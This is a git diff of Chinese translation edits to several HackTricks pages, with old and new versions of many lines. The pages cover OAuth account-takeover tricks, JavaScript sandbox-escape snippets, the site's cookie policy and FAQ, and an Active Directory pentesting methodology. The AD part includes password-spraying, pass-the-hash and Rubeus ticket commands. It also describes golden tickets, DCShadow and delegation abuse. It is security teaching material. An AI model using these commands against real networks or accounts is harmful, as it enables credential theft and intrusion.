根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),可以让受害者打开一个指向攻击者主机的 **returnUrl** 的页面。此信息将被 **存储在 cookie (RU)** 中,在 **后续步骤** 中,**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。
|
||||
|
||||
为了绕过此提示,可以打开一个选项卡以启动 **Oauth 流程**,该流程将使用 **returnUrl** 设置此 RU cookie,在提示显示之前关闭选项卡,然后打开一个没有该值的新选项卡。然后,**提示不会通知攻击者的主机**,但 cookie 将被设置为它,因此 **token 将在重定向中发送到攻击者的主机**。
|
||||
|
||||
### 提示交互绕过 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),某些 OAuth 实现允许将 **`prompt`** GET 参数指示为 None (**`&prompt=none`**) 以 **防止用户在已登录平台时被要求确认** 在网页中授予的访问权限。
|
||||
正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),某些 OAuth 实现允许将 **`prompt`** GET 参数指示为 None (**`&prompt=none`**) 以 **防止用户在已登录平台时被要求确认** 在网页上授予的访问权限。
|
||||
|
||||
### response_mode
|
||||
|
||||
正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),可能可以指示参数 **`response_mode`** 来指示您希望在最终 URL 中提供代码的位置:
|
||||
正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),可能可以指示参数 **`response_mode`** 以指示希望在最终 URL 中提供代码的位置:
|
||||
|
||||
- `response_mode=query` -> 代码在 GET 参数中提供: `?code=2397rf3gu93f`
|
||||
- `response_mode=fragment` -> 代码在 URL 片段参数中提供 `#code=2397rf3gu93f`
|
||||
@ -181,14 +181,14 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
|
||||
|
||||
根据 [**这篇博客文章**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96),这是一个允许通过 **用户名** 和 **密码** 登录 OAuth 的 OAuth 流程。如果在这个简单流程中返回一个具有用户可以执行的所有操作的访问权限的 **token**,那么就可以使用该 token 绕过 2FA。
|
||||
|
||||
### 基于开放重定向到引荐的网页重定向 ATO <a href="#bda5" id="bda5"></a>
|
||||
### 基于开放重定向到引用者的网页重定向 ATO <a href="#bda5" id="bda5"></a>
|
||||
|
||||
这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 评论了如何利用 **开放重定向** 从 **引荐** 的值来滥用 OAuth 进行 ATO。攻击步骤如下:
|
||||
这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 评论了如何利用 **开放重定向** 从 **引用者** 的值滥用 OAuth 进行 ATO。攻击步骤如下:
|
||||
|
||||
1. 受害者访问攻击者的网页
|
||||
2. 受害者打开恶意链接,打开者使用 `response_type=id_token,code&prompt=none` 作为附加参数启动 Google OAuth 流程,**引荐为攻击者网站**。
|
||||
3. 在打开者中,提供者在授权受害者后,将他们发送回 `redirect_uri` 参数的值(受害者网站),并带有 30X 代码,这仍然保持攻击者网站在引荐中。
|
||||
4. 受害者 **网站根据引荐触发开放重定向**,将受害者用户重定向到攻击者网站,因为 **`respose_type`** 是 **`id_token,code`**,代码将通过 URL 的 **片段** 返回给攻击者,从而使他能够通过 Google 在受害者网站上接管用户的帐户。
|
||||
2. 受害者打开恶意链接,打开者开始使用 `response_type=id_token,code&prompt=none` 作为附加参数的 Google OAuth 流程,引用者为 **攻击者网站**。
|
||||
3. 在打开者中,提供者在授权受害者后,将他们发送回 `redirect_uri` 参数的值(受害者网站),并带有 30X 代码,这仍然保持攻击者网站在引用者中。
|
||||
4. 受害者 **网站根据引用者触发开放重定向**,将受害者用户重定向到攻击者网站,因为 **`respose_type`** 是 **`id_token,code`**,代码将通过 URL 的 **片段** 返回给攻击者,从而使他能够通过 Google 在受害者网站上接管用户的帐户。
|
||||
|
||||
### SSRFs 参数 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -202,7 +202,7 @@ OAuth 中的动态客户端注册作为一个不太明显但关键的安全漏
|
||||
- 此功能遵循 **RFC7591** 和 **OpenID Connect Registration 1.0** 中列出的规范,其中包括可能对 SSRF 易受攻击的参数。
|
||||
- 注册过程可能会以多种方式无意中使服务器暴露于 SSRF:
|
||||
- **`logo_uri`**:客户端应用程序 logo 的 URL,服务器可能会获取该 URL,从而触发 SSRF 或导致 XSS(如果 URL 处理不当)。
|
||||
- **`jwks_uri`**:客户端的 JWK 文档的 URL,如果恶意构造,可能导致服务器向攻击者控制的服务器发出外部请求。
|
||||
- **`jwks_uri`**:客户端 JWK 文档的 URL,如果恶意构造,可能导致服务器向攻击者控制的服务器发出外部请求。
|
||||
- **`sector_identifier_uri`**:引用 `redirect_uris` 的 JSON 数组,服务器可能会获取该数组,从而创建 SSRF 机会。
|
||||
- **`request_uris`**:列出客户端允许的请求 URI,如果服务器在授权过程开始时获取这些 URI,则可能被利用。
|
||||
|
||||
|
@ -1,8 +1,8 @@
|
||||
# 杂项 JS 技巧与相关信息
|
||||
# Misc JS Tricks & Relevant Info
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Javascript 模糊测试
|
||||
## Javascript Fuzzing
|
||||
|
||||
### 有效的 JS 注释字符
|
||||
```javascript
|
||||
@ -281,7 +281,7 @@ plusone = (a) => a + 100
|
||||
```
|
||||
### Bind function
|
||||
|
||||
bind 函数允许创建一个 **copy** 的 **function modifying** **`this`** 对象和给定的 **parameters**。
|
||||
bind 函数允许创建一个 **副本** 的 **函数,修改** **`this`** 对象和给定的 **参数**。
|
||||
```javascript
|
||||
//This will use the this object and print "Hello World"
|
||||
var fn = function (param1, param2) {
|
||||
@ -328,7 +328,7 @@ return arguments.callee.toString()
|
||||
return arguments[0]
|
||||
})("arg0")
|
||||
```
|
||||
一些**随机**方法来**提取代码**(甚至注释)从另一个函数:
|
||||
一些**随机**方法来**提取函数**的代码(甚至注释)从另一个函数:
|
||||
```javascript
|
||||
;(function () {
|
||||
return (retFunc) => String(arguments[0])
|
||||
@ -348,7 +348,7 @@ return String(this)
|
||||
/* Hidden commment */
|
||||
})()
|
||||
```
|
||||
## Sandbox Escape - 恢复 window 对象
|
||||
## Sandbox Escape - Recovering window object
|
||||
|
||||
Window 对象允许访问全局定义的函数,如 alert 或 eval。
|
||||
```javascript
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
最后更新:02/04/2023
|
||||
|
||||
### 介绍
|
||||
### Introduction
|
||||
|
||||
本Cookies政策适用于HackTricks团队(“HackTricks”,“我们”,“我们”或“我们的”)拥有和运营的以下网站:
|
||||
|
||||
@ -13,33 +13,33 @@
|
||||
|
||||
通过使用这些网站中的任何一个,您同意根据本Cookies政策使用cookies。如果您不同意,请在浏览器设置中禁用cookies或避免使用我们的网站。
|
||||
|
||||
### 什么是cookies?
|
||||
### What are cookies?
|
||||
|
||||
Cookies是当您访问网站时存储在您的计算机或移动设备上的小文本文件。它们被广泛用于使网站正常工作、改善其功能并提供更个性化的用户体验。
|
||||
|
||||
### 我们如何使用cookies
|
||||
### How we use cookies
|
||||
|
||||
我们在网站上使用cookies的目的如下:
|
||||
我们在我们的网站上使用cookies,目的如下:
|
||||
|
||||
1. 必需的cookies:这些cookies对于我们网站的基本功能是必要的,例如启用用户身份验证、维护安全性和记住您的偏好设置。
|
||||
2. 性能cookies:这些cookies帮助我们了解访客如何与我们的网站互动,通过匿名收集和报告信息。这使我们能够改善网站性能和用户体验。
|
||||
3. 功能性cookies:这些cookies使我们的网站能够记住您所做的选择,例如您的语言或地区,以提供更个性化的体验。
|
||||
4. 定向/广告cookies:这些cookies用于根据您的兴趣、浏览历史和与我们网站的互动提供相关广告和营销通讯。
|
||||
1. Essential cookies: 这些cookies对于我们网站的基本功能是必要的,例如启用用户身份验证、维护安全性和记住您的偏好。
|
||||
2. Performance cookies: 这些cookies帮助我们了解访客如何与我们的网站互动,通过匿名收集和报告信息。这使我们能够改善网站性能和用户体验。
|
||||
3. Functionality cookies: 这些cookies使我们的网站能够记住您所做的选择,例如您的语言或地区,以提供更个性化的体验。
|
||||
4. Targeting/advertising cookies: 这些cookies用于根据您的兴趣、浏览历史和与我们网站的互动提供相关广告和营销通讯。
|
||||
|
||||
此外,页面book.hacktricks.wiki和cloud.hacktricks.wiki托管在Gitbook上。您可以在[https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy)找到有关Gitbook cookies的更多信息。
|
||||
|
||||
### 第三方cookies
|
||||
### Third-party cookies
|
||||
|
||||
除了我们自己的cookies,我们还可能使用第三方cookies来报告网站使用统计信息、投放广告和启用社交媒体分享按钮。第三方cookies的使用受其各自隐私政策的约束。
|
||||
除了我们自己的cookies,我们还可能使用第三方cookies来报告网站使用统计信息、投放广告和启用社交媒体分享按钮。使用第三方cookies受其各自隐私政策的约束。
|
||||
|
||||
管理cookies
|
||||
Managing cookies
|
||||
|
||||
大多数网页浏览器允许您通过其设置管理cookies。您可以选择阻止、删除或限制设备上cookies的使用。然而,请注意,禁用cookies可能会影响我们网站的功能和性能。
|
||||
大多数网络浏览器允许您通过其设置管理cookies。您可以选择阻止、删除或限制设备上cookies的使用。然而,请注意,禁用cookies可能会影响我们网站的功能和性能。
|
||||
|
||||
本Cookies政策的变更
|
||||
Changes to this Cookies Policy
|
||||
|
||||
我们可能会不时更新本Cookies政策,以反映我们做法或相关法律的变化。我们鼓励您定期查看此页面,以获取有关我们cookie做法的最新信息。
|
||||
|
||||
### 联系我们
|
||||
### Contact us
|
||||
|
||||
如果您对本Cookies政策有任何疑问或担忧,请通过[support@hacktricks.xyz](mailto:support@hacktricks.xyz)与我们联系。
|
||||
|
@ -15,7 +15,7 @@
|
||||
> - 我们还在 HackTricks 中撰写 **我们自己的研究**。
|
||||
> - 在某些情况下,我们将仅在 HackTricks 中写 **技术重要部分的摘要**,并 **鼓励读者访问原始帖子** 以获取更多细节。
|
||||
> - **组织** 书中的所有黑客技术,使其 **更易获取**
|
||||
> - HackTricks 团队为 **仅仅组织内容** 而免费投入了数千小时,以便人们可以 **更快学习**
|
||||
> - HackTricks 团队为 **仅仅组织内容** 而免费投入了数千小时,以便人们能够 **更快学习**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -33,7 +33,7 @@
|
||||
>
|
||||
> - **我该如何为该项目做贡献?**
|
||||
|
||||
您可以 **与社区分享新的技巧和窍门或修复您在书中发现的错误**,向相应的 Github 页面发送 **Pull Request**:
|
||||
您可以 **与社区分享新的技巧和窍门或修复您在书中发现的错误**,通过向相应的 Github 页面发送 **Pull Request**:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
@ -42,7 +42,7 @@
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **我可以复制一些 HackTricks 的内容并放在我的博客上吗?**
|
||||
> - **我可以复制 HackTricks 的一些内容并放在我的博客上吗?**
|
||||
|
||||
可以,但 **不要忘记提及具体的链接**,内容是从哪里获取的。
|
||||
|
||||
@ -64,7 +64,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
>
|
||||
> - **我可以在我的博客中复制所有HackTricks吗?**
|
||||
|
||||
**我不建议这样做**。这对任何人都**没有好处**,因为所有的**内容已经在官方HackTricks书籍中免费公开**。
|
||||
**我不建议这样做**。这对任何人都**没有好处**,因为所有**内容已经在官方HackTricks书籍中免费公开**。
|
||||
|
||||
如果你担心它会消失,只需在Github上分叉或下载,如我所说,它已经是免费的。
|
||||
|
||||
@ -76,7 +76,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
|
||||
如果你认为HackTricks书籍是为了**商业目的**而制作的,你是**完全错误的**。
|
||||
|
||||
我们有赞助商,因为即使所有内容都是免费的,我们也希望**给社区提供欣赏我们工作的可能性**,如果他们愿意。因此,我们提供人们通过[**Github赞助商**](https://github.com/sponsors/carlospolop)捐赠给HackTricks的选项,以及**相关的网络安全公司**赞助HackTricks并在书中**放置一些广告**,这些**广告**总是放在**可见**但**不干扰学习**过程的地方,以便有人专注于内容。
|
||||
我们有赞助商,因为即使所有内容都是免费的,我们也希望**给社区提供欣赏我们工作的可能性**,如果他们愿意。因此,我们提供人们通过[**Github赞助**](https://github.com/sponsors/carlospolop)捐赠给HackTricks的选项,以及**相关的网络安全公司**赞助HackTricks并在书中**放置一些广告**,这些**广告**总是放在**可见**但**不干扰学习**过程的地方,以便有人专注于内容。
|
||||
|
||||
你不会发现HackTricks充满了烦人的广告,就像其他内容远不如HackTricks的博客,因为HackTricks不是为了商业目的而制作的。
|
||||
|
||||
@ -93,7 +93,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
请注意,在HackTricks中链接到你的页面:
|
||||
|
||||
- 改善你的**SEO**
|
||||
- 内容被**翻译成15种以上语言**,使更多人能够访问这些内容
|
||||
- 内容被**翻译成超过15种语言**,使更多人能够访问这些内容
|
||||
- **HackTricks鼓励**人们**查看你的页面**(有几个人提到,自从他们的某个页面在HackTricks中后,他们的访问量增加了)
|
||||
|
||||
然而,如果你仍然希望从HackTricks中删除你博客的内容,请告知我们,我们将**删除所有指向你博客的链接**,以及任何基于它的内容。
|
||||
@ -134,7 +134,7 @@ This license does not grant any trademark or branding rights in relation to the
|
||||
>
|
||||
> 作者和出版商在任何情况下均不对因使用本书而导致的任何损失或损害承担责任,包括但不限于间接或后果性损失或损害,或因数据或利润损失而产生的任何损失或损害。
|
||||
>
|
||||
> 此外,本书中描述的技术和技巧仅用于教育和信息目的,不应用于任何非法或恶意活动。作者和出版商不支持或纵容任何非法或不道德的活动,使用本书中包含的信息的风险和决定由用户自行承担。
|
||||
> 此外,本书中描述的技术和技巧仅供教育和信息目的,不应用于任何非法或恶意活动。作者和出版商不支持或纵容任何非法或不道德的活动,使用本书中包含的信息的风险和决定由用户自行承担。
|
||||
>
|
||||
> 用户对基于本书中包含的信息采取的任何行动负全部责任,并应在尝试实施本书中描述的任何技术或技巧时始终寻求专业建议和帮助。
|
||||
>
|
||||
|
@ -69,7 +69,7 @@
|
||||
- 收集凭据 **暴露** [**假 UPnP 服务与 evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- 从内部文档、社交媒体、服务(主要是 Web)中提取用户名/姓名,以及从公开可用的信息中提取。
|
||||
- 如果您找到公司员工的完整姓名,您可以尝试不同的 AD **用户名约定**(**[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**)。最常见的约定是:_NameSurname_、_Name.Surname_、_NamSur_(每个三个字母)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_(abc123)。
|
||||
- 如果您找到公司员工的完整姓名,您可以尝试不同的 AD **用户名约定**(**[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**)。最常见的约定是:_NameSurname_、_Name.Surname_、_NamSur_(每个 3 个字母)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_(abc123)。
|
||||
- 工具:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
@ -103,13 +103,13 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||
```
|
||||
> [!WARNING]
|
||||
> 你可以在 [**这个 github 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 找到用户名列表。
|
||||
> 你可以在 [**这个 GitHub 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 中找到用户名列表。
|
||||
>
|
||||
> 然而,你应该从之前的侦查步骤中获得 **公司员工的姓名**。有了名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
|
||||
> 然而,你应该在之前的侦查步骤中获得 **公司员工的姓名**。有了名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
|
||||
|
||||
### 知道一个或多个用户名
|
||||
|
||||
好的,所以你知道你已经有一个有效的用户名,但没有密码……那么尝试:
|
||||
好的,你已经知道一个有效的用户名,但没有密码……那么尝试:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md):如果用户 **没有** 属性 _DONT_REQ_PREAUTH_,你可以 **请求该用户的 AS_REP 消息**,其中将包含一些由用户密码的派生加密的数据。
|
||||
- [**Password Spraying**](password-spraying.md):让我们尝试每个发现用户的 **常见密码**,也许某个用户使用了一个糟糕的密码(记住密码策略!)。
|
||||
@ -129,19 +129,19 @@ password-spraying.md
|
||||
|
||||
### NTML 中继
|
||||
|
||||
如果你已经成功枚举了活动目录,你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* 来访问 AD 环境。
|
||||
如果你已经成功枚举了活动目录,你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 来访问 AD 环境。
|
||||
|
||||
### 偷取 NTLM 凭证
|
||||
### 窃取 NTLM 凭据
|
||||
|
||||
如果你可以使用 **null 或访客用户** **访问其他 PC 或共享**,你可以 **放置文件**(如 SCF 文件),如果以某种方式被访问,将会 **触发对你的 NTML 认证**,这样你就可以 **偷取** **NTLM 挑战** 进行破解:
|
||||
如果你可以使用 **null 或访客用户** 访问其他 PC 或共享,你可以 **放置文件**(如 SCF 文件),如果以某种方式被访问,将会 **触发对你的 NTML 认证**,这样你就可以 **窃取** **NTLM 挑战** 进行破解:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
## 使用凭证/会话枚举活动目录
|
||||
## 使用凭据/会话枚举活动目录
|
||||
|
||||
在这个阶段,你需要 **获取有效域账户的凭证或会话。** 如果你有一些有效的凭证或作为域用户的 shell,**你应该记住之前给出的选项仍然是妥协其他用户的选项**。
|
||||
在这个阶段,你需要 **获取有效域账户的凭据或会话。** 如果你有一些有效的凭据或作为域用户的 shell,**你应该记住之前给出的选项仍然是妥协其他用户的选项**。
|
||||
|
||||
在开始经过身份验证的枚举之前,你应该知道 **Kerberos 双跳问题**。
|
||||
|
||||
@ -162,7 +162,7 @@ kerberos-double-hop-problem.md
|
||||
- **其他自动化 AD 枚举工具有:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**AD 的 DNS 记录**](ad-dns-records.md),因为它们可能包含有趣的信息。
|
||||
- 你可以使用 **AdExplorer.exe** 这个 **GUI 工具** 来枚举目录,来自 **SysInternal** 套件。
|
||||
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭证,查找字段 _userPassword_ 和 _unixUserPassword_,甚至是 _Description_。请参阅 [PayloadsAllTheThings 上的 AD 用户评论中的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
|
||||
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭据,查找字段 _userPassword_ 和 _unixUserPassword_,甚至是 _Description_。请参阅 [PayloadsAllTheThings 中 AD 用户评论的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 了解其他方法。
|
||||
- 如果你使用 **Linux**,你也可以使用 [**pywerview**](https://github.com/the-useless-one/pywerview) 枚举域。
|
||||
- 你还可以尝试自动化工具,如:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
@ -175,7 +175,7 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting 涉及获取 **TGS 票证**,这些票证由与用户账户相关的服务使用,并破解其加密——这基于用户密码——**离线**。
|
||||
Kerberoasting 涉及获取 **TGS 票证**,这些票证用于与用户账户相关的服务,并破解其加密——这基于用户密码——**离线**。
|
||||
|
||||
更多信息请参见:
|
||||
|
||||
@ -183,19 +183,19 @@ Kerberoasting 涉及获取 **TGS 票证**,这些票证由与用户账户相关
|
||||
kerberoast.md
|
||||
{{#endref}}
|
||||
|
||||
### 远程连接 (RDP, SSH, FTP, Win-RM 等)
|
||||
### 远程连接(RDP、SSH、FTP、Win-RM 等)
|
||||
|
||||
一旦你获得了一些凭证,你可以检查是否可以访问任何 **机器**。为此,你可以使用 **CrackMapExec** 尝试通过不同协议连接到多个服务器,具体取决于你的端口扫描结果。
|
||||
一旦你获得了一些凭据,你可以检查是否可以访问任何 **机器**。为此,你可以使用 **CrackMapExec** 尝试通过不同协议连接到多个服务器,具体取决于你的端口扫描结果。
|
||||
|
||||
### 本地权限提升
|
||||
|
||||
如果你已经妥协了凭证或作为普通域用户的会话,并且你可以 **使用该用户访问域中的任何机器**,你应该尝试找到 **本地提升权限和寻找凭证的方法**。这是因为只有拥有本地管理员权限,你才能 **在内存中(LSASS)和本地(SAM)转储其他用户的哈希**。
|
||||
如果你已经妥协了凭据或作为普通域用户的会话,并且你可以 **使用该用户访问域中的任何机器**,你应该尝试找到 **本地提升权限和寻找凭据的方法**。这是因为只有拥有本地管理员权限,你才能 **在内存中(LSASS)和本地(SAM)转储其他用户的哈希**。
|
||||
|
||||
本书中有一整页关于 [**Windows 中的本地权限提升**](../windows-local-privilege-escalation/index.html) 和一个 [**检查表**](../checklist-windows-privilege-escalation.md)。此外,不要忘记使用 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。
|
||||
|
||||
### 当前会话票证
|
||||
|
||||
你 **不太可能** 在当前用户中找到 **票证**,使你有权限访问意外资源,但你可以检查:
|
||||
你 **不太可能** 在当前用户中找到 **票证**,使你能够访问意外资源,但你可以检查:
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
||||
.\Rubeus.exe triage
|
||||
@ -229,7 +229,7 @@ kerberoast.md
|
||||
printnightmare.md
|
||||
{{#endref}}
|
||||
|
||||
## 使用特权凭据/会话在活动目录上进行特权提升
|
||||
## 在具有特权凭据/会话的 Active Directory 上进行特权提升
|
||||
|
||||
**对于以下技术,普通域用户是不够的,你需要一些特殊的特权/凭据来执行这些攻击。**
|
||||
|
||||
@ -247,7 +247,7 @@ printnightmare.md
|
||||
|
||||
### 超越传递哈希/传递密钥
|
||||
|
||||
此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**,作为常见的 NTLM 协议下的传递哈希的替代方案。因此,这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中可能特别**有用**。
|
||||
此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**,作为常见的 NTLM 协议下的传递哈希的替代方案。因此,这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中尤其**有用**。
|
||||
|
||||
{{#ref}}
|
||||
over-pass-the-hash-pass-the-key.md
|
||||
@ -282,26 +282,26 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
### 不受限制的委派
|
||||
### 不受限制的委托
|
||||
|
||||
如果您发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 的计算机对象,并且您在计算机上具有域权限,您将能够从登录到该计算机的每个用户的内存中转储 TGT。\
|
||||
因此,如果**域管理员登录到计算机**,您将能够转储他的 TGT,并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
|
||||
由于受限委派,您甚至可以**自动妥协打印服务器**(希望它是 DC)。
|
||||
由于受限委托,您甚至可以**自动妥协打印服务器**(希望它是 DC)。
|
||||
|
||||
{{#ref}}
|
||||
unconstrained-delegation.md
|
||||
{{#endref}}
|
||||
|
||||
### 受限委派
|
||||
### 受限委托
|
||||
|
||||
如果用户或计算机被允许进行“受限委派”,它将能够**冒充任何用户以访问计算机上的某些服务**。\
|
||||
如果用户或计算机被允许进行“受限委托”,它将能够**冒充任何用户访问计算机中的某些服务**。\
|
||||
然后,如果您**妥协**此用户/计算机的哈希,您将能够**冒充任何用户**(甚至是域管理员)以访问某些服务。
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
{{#endref}}
|
||||
|
||||
### 基于资源的受限委派
|
||||
### 基于资源的受限委托
|
||||
|
||||
在远程计算机的 Active Directory 对象上拥有**WRITE**权限可以实现**提升权限**的代码执行:
|
||||
|
||||
@ -401,9 +401,9 @@ silver-ticket.md
|
||||
|
||||
### 金票
|
||||
|
||||
**金票攻击**涉及攻击者在 Active Directory (AD) 环境中获取**krbtgt 账户的 NTLM 哈希**。该账户是特殊的,因为它用于签署所有**票据授予票据 (TGTs)**,这些票据对于在 AD 网络中进行身份验证至关重要。
|
||||
**金票攻击**涉及攻击者在 Active Directory (AD) 环境中获取**krbtgt 账户的 NTLM 哈希**。该账户是特殊的,因为它用于签署所有**票据授予票据 (TGT)**,这些票据对于在 AD 网络中进行身份验证至关重要。
|
||||
|
||||
一旦攻击者获得此哈希,他们可以为他们选择的任何账户创建**TGTs**(银票攻击)。
|
||||
一旦攻击者获得此哈希,他们可以为他们选择的任何账户创建**TGT**(银票攻击)。
|
||||
|
||||
{{#ref}}
|
||||
golden-ticket.md
|
||||
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder 组
|
||||
|
||||
Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准**访问控制列表 (ACL)**来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可能被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这一安全措施本意是保护,但如果不加以监控,可能会适得其反,导致不当访问。
|
||||
Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准的**访问控制列表 (ACL)** 来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可能被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这一安全措施本意是保护,但如果不加以监控,可能会适得其反,导致不当访问。
|
||||
|
||||
[**有关 AdminDSHolder 组的更多信息在这里。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
@ -483,7 +483,7 @@ custom-ssp.md
|
||||
### DCShadow
|
||||
|
||||
它在 AD 中注册一个**新的域控制器**,并使用它在指定对象上**推送属性**(SIDHistory、SPNs...),**不留**任何关于**修改**的**日志**。您**需要 DA** 权限并在**根域**内。\
|
||||
请注意,如果您使用错误的数据,将会出现相当丑陋的日志。
|
||||
请注意,如果您使用错误的数据,会出现相当糟糕的日志。
|
||||
|
||||
{{#ref}}
|
||||
dcshadow.md
|
||||
@ -492,7 +492,7 @@ dcshadow.md
|
||||
### LAPS 持久性
|
||||
|
||||
之前我们讨论了如果您有**足够的权限读取 LAPS 密码**,如何提升权限。然而,这些密码也可以用于**维持持久性**。\
|
||||
请查看:
|
||||
检查:
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -510,7 +510,7 @@ laps.md
|
||||
|
||||
**步骤**:
|
||||
|
||||
1. **域 1**中的**客户端计算机**开始该过程,使用其**NTLM 哈希**向其**域控制器 (DC1)**请求**票据授予票据 (TGT)**。
|
||||
1. **域 1**中的**客户端计算机**开始该过程,使用其**NTLM 哈希**向其**域控制器 (DC1)** 请求**票据授予票据 (TGT)**。
|
||||
2. 如果客户端成功通过身份验证,DC1 会发出新的 TGT。
|
||||
3. 客户端然后向 DC1 请求一个**跨域 TGT**,该 TGT 是访问**域 2**中的资源所需的。
|
||||
4. 跨域 TGT 使用作为双向域信任的一部分在 DC1 和 DC2 之间共享的**信任密钥**进行加密。
|
||||
@ -522,16 +522,16 @@ laps.md
|
||||
|
||||
重要的是要注意,**信任可以是单向或双向**。在双向选项中,两个域将相互信任,但在**单向**信任关系中,一个域将是**受信任**的,另一个是**信任**的域。在最后一种情况下,**您只能从受信任的域访问信任域内的资源**。
|
||||
|
||||
